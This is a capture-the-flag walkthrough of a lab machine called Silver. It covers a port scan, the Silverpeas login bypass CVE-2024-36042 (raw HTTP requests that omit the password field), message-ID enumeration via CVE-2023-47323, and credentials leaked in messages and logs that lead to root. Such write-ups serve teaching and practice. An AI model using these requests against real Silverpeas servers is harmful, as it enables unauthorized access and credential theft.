Silver
Challenge: Silver
As always we start with an AutoRecon against our target IP.
Nmap scan report for 10.10.185.57
Host is up, received user-set (0.019s latency).
Scanned at 2025-11-08 15:24:39 GMT for 272s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c0:26:02:0d:b6:e1:29:d0:89:d3:00:f7:66:49:76:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHPcbV0J9KlRqR6Dxi2RyC6TmExIJuPbL28rVfAgwkHLsBJz+7L+j9MCU04il/9Ge4vt7JJ8v/Qb95zzCr9TVCM=
| 256 5f:41:68:78:11:72:b5:ab:72:29:00:de:f5:dd:e1:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILkwd5ktj4C10o0AgCLd0KfUmZ9QLTVNNL4Dw0JyZ2Yf
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http-proxy syn-ack ttl 62
|_http-title: Error
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 74
| Content-Type: text/html
| Date: Sat, 08 Nov 2025 15:24:58 GMT
| <html><head><title>Error</title></head><body>404 - Not Found</body></html>
| GenericLines, Hello, Help, Kerberos, RTSPRequest, SMBProgNeg, SSLSessionReq, SSLv23SessionReq, Socks5, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
|_ Connection: close
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 18.38 ms 10.11.0.1
2 18.57 ms 10.10.185.57
We find that there is an user scr1ptkiddy which we can reach out to through Silverpeas after serving to the website running on port 80.
In the documentation we find that Silverpeas is accessible through the {IP_ADDRESS}/silverpeas location.
On the screen we see that the copyright is 2001-2022, implying an older version of Silverpeas is running. We find a CVE, namely CVE-2024-36042 and it seems this issue has only been addressed in Silverpeas 6.3.5 so let's try this vulnerability.
The vulnerability works like so:
E.g. the standard login request will look like this:
POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded
Login=SilverAdmin&Password=SilverAdmin&DomainId=0
This will fail login (unless they have forgotten to change the default password) and you will be redirected back to the login page with an error code.
But if you remove the password field like this:
POST /silverpeas/AuthenticationServlet HTTP/2
Host: 212.129.58.88
Content-Length: 28
Origin: https://212.129.58.88
Content-Type: application/x-www-form-urlencoded
Login=SilverAdmin&DomainId=0
Then the login attempt will (usually) succeed and redirect you to the main page, now logged in as a super admin.
The bug works with any valid user, but SilverAdmin is the default super admin.
So now let's try this inside of BurpSuite and we're in! That was quick.
After some browsing we find that we can upload a .war file and that we can create a reverse shell through abusing this functionality. Let's create a revshell servlet:
Sadly this does not work so we try to continue Googling and find the [Silverpeas Vulnerability Overview](Silverpeas App: Multiple CVEs leading to File Read on Server - Rhino Security Labs](https://rhinosecuritylabs.com/research/silverpeas-file-read-cves).
Let's try our hand at CVE-2023-47323 since the server is running Silverpeas version 6.3.1.
Usage/Exploitation
To exploit this vulnerability, an attacker can use a script or Burp Suite Intruder to view all messages by attacking the ID parameter in this URL: http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID] - the messages begin at "1" and increase in intervals of 1.
Let's craft a request like so:
And we find credentials on the 6th message for ssh.
<div class="content-notification rich-content">
Message:<div style="padding=10px 0 10px 0;"><br/> <div style="background-color:#FFF9D7; border:1px solid #E2C822; padding:5px; width:600px;"><p>Dude how do you always forget the SSH password? Use a password manager and quit using your silly sticky notes. </p><p>Username: tim</p><p>Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol</p></div><br/></div><!--BEFORE_MESSAGE_FOOTER--><!--AFTER_MESSAGE_FOOTER-->
</div>
Now let's connect
After some time looking around we realize that we are member of the admin group
We find some interesting data:
./log/auth.log.2:Dec 13 15:44:30 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database sivlerpeas:silverpeas-6.3.1
It turns out that we can login as tyler using the DB password we found in the logs.
Tyler can run all commands as sudo on this machine
tyler@ip-10-10-140-16:~$ sudo -l
[sudo] password for tyler:
Matching Defaults entries for tyler on ip-10-10-140-16:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tyler may run the following commands on ip-10-10-140-16:
(ALL : ALL) ALL
So we run a to retrieve our last and final flag